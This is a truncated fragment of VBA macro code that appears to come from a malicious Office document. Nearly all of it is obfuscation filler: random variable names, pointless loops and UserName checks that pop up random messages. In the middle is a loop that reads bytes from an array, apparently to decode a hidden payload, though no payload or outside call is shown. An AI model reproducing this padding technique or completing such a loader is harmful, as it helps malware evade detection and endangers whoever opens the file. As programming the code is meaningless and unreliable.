For cBC00HWa = 0 To 6
nJUWh2aB = nJUWh2aB + cBC00HWa
Next cBC00HWa
Dim R8u5TL As String
For qoipljzV = 0 To 8
R8u5TL = R8u5TL + "Q"
Next qoipljzV
Dim qOe59LIYJK As String
For TaxnRh = 0 To 6
qOe59LIYJK = qOe59LIYJK + "l"
Next TaxnRh
For oSHNEg = 0 To 6
RJ0mvu7 = RJ0mvu7 + oSHNEg
Next oSHNEg
Dim es2LI0wFJd As Long
For SHjdMbZ = 5 To 17
es2LI0wFJd = es2LI0wFJd + SHjdMbZ
Next SHjdMbZ
If Len(Application.UserName) < 338 Then
Dim gGG67iXL As Collection
End If
If Application.UserName = "CeBT6i8Fy1g" Then
MsgBox ("x5fA3ui1FzT")
Else
Dim iIb7TKEFqHutHZ As String
iIb7TKEFqHutHZ = Application.UserName
End If
If Application.UserName = "CqHIAcIEfZ7" Then
MsgBox ("xCDhfrSNcpu")
Else
Dim TNcP2o0fOCAVnX As String
TNcP2o0fOCAVnX = Application.UserName
End If
If Len(Application.UserName) < 388 Then
Dim D9DTHX As Collection
End If
   Do While XoS893nW7 < q3hi6ic
Dim qjHYsc As String
For WbratZ5 = 0 To 9
qjHYsc = qjHYsc + "i"
Next WbratZ5
Dim He49YpkFn As String
For avTMzW = 0 To 8
He49YpkFn = He49YpkFn + "h"
Next avTMzW
      Dim F4xFNGFfZ As Byte: F4xFNGFfZ = aWxFGMR02(XoS893nW7): XoS893nW7 = XoS893nW7 + 1
Dim N34sqM As Long
For uBEwNZo = 9 To 17
N34sqM = N34sqM + uBEwNZo
Next uBEwNZo
Dim rI0rxfY1, IJIvAdTePg As Integer
rI0rxfY1 = 7 + 8
For ogVrJr1K = 0 To 5
IJIvAdTePg = IJIvAdTePg + ogVrJr1K
Next ogVrJr1K
If IJIvAdTePg < ogVrJr1K Then
Dim e3NFY4QUte As Long
End If
Dim LujHJt As String
For v8MC20J = 0 To 9
LujHJt = LujHJt + "c"
Next v8MC20J
If Application.UserName = "eliifovh114" Then
MsgBox ("lcN8MBl2UxP")
Else
Dim di6FXBF45EmyqQ As String
di6FXBF45EmyqQ = Application.UserName
End If
If Application.UserName = "MxqXqbNu7aA" Then
MsgBox ("hUi50x6EgQ9")
…